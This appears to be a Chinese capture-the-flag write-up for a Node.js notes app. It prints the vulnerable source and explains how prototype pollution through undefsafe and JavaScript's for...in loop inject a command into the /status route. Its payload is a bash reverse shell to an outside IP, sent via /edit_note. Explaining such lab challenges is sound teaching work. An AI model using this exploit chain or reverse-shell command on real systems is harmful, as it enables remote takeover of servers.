0%

青龙组Notes

0x00 前言

​ 这就是传说中的网鼎杯吗?受教惹。幸好我们3个人人都没凑齐,只是为了看题目而打比赛的,要不然非要被这比赛给气死。就这么多吧,总结一下学到的东西。

涉及知识点:

1.Nodejs的原型链污染

2.js的遍历特性

0x01 源码

​ 这题直接给了附件,但是我下载不了,幸好队友下载下来了。直接看源码吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author); //id:__proto__ author:cioi raw:shell
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

0x02 审计

1.原型链污染

​ 这里可以直接看Notes类,发现使用了undefsafe复习一下undefsafe的使用方法吧

1
2
3
4
5
6
7
8
9
10
11
var object = {
a: {
b: [1,2,3]
}
};

// modified object
var res = undefsafe(object, 'a.b.0', 10);

console.log(object); // { a: { b: [10, 2, 3] } }
console.log(res); // 1 - previous value

​ 可以看到这里是可以覆盖变量的。那我们就有了原型链污染的基础。我们考虑下面的代码:

1
2
3
4
5
6
7
8
9
var object = {
a: {
b: [1,2,3]
}
};

// modified object
var res = undefsafe(object, '__proto__.test', 10);
console.log(object); // { a: { b: [1, 2, 3] } } object.__proto__.test=10

​ 从而造成原型链污染。

​ 既然原型链污染可以造成,那么怎么使用就是我们接下来想要知道的了。继续向下审计,发现有这样一串代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

​ 分析代码发现在/status路由下可以造成命令执行,但是只会执行commands数组中的变量,而这个数组我们是完全无法直接操纵的?那么怎么才可以执行我们想要的命令呢?那就要涉及到下面的知识了。

2.js的遍历特性

​ 相信大多数师傅都知道这个东西,但是我还是说一下吧。

​ 这一题目使用for(let index in commands)进行数组的遍历,从而将这个数组中的命令执行。但是这种方法真的安全吗?可能在别的语言中是安全的,但是js并不是这样的,考虑如下代码:

1
2
3
4
5
6
7
8
9
10
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
var a = {"cioi":"nya!"};
a.__proto__.cioier = "cioier!nya!";
for (let index in commands) {
console.log(index);
console.log(commands[index]);
}

​ 猜一下控制台的运行结果是什么?

img

​ 为什么呢?因为commandsa其实都是对象。而他们的原型是相同的。所以你赋值a会出现下面的情况。

img

​ 可以看到造成了原型链污染。但是即便如此commands对象中还是没有cioier这个变量啊。为什么会用for循环遍历出一个cioier来?当然,我也不太明白,只知道这是js的一个特性。遍历时会把原型链上的东西也带上,这个之后还是要看一下。就先记住吧。

​ 然后我们可以利用这一点来构造payload

1
2
3
先去/edit_note 
POST json格式的 {"raw":"bash -i >& /dev/tcp/174.1.58.111/3333 0>&1","id":"__proto__","author":"cioier"}
然后去访问 /status 就可反弹shell的。

​ 可以写一个简单的脚本更方便,不过我就直接手做了。弹到shell后直接获取flag

img

0x03 结语

​ 还是比较简单的一道题目。师傅们可以找我来玩,一个人的WEB好无聊的说。

QQ:550532788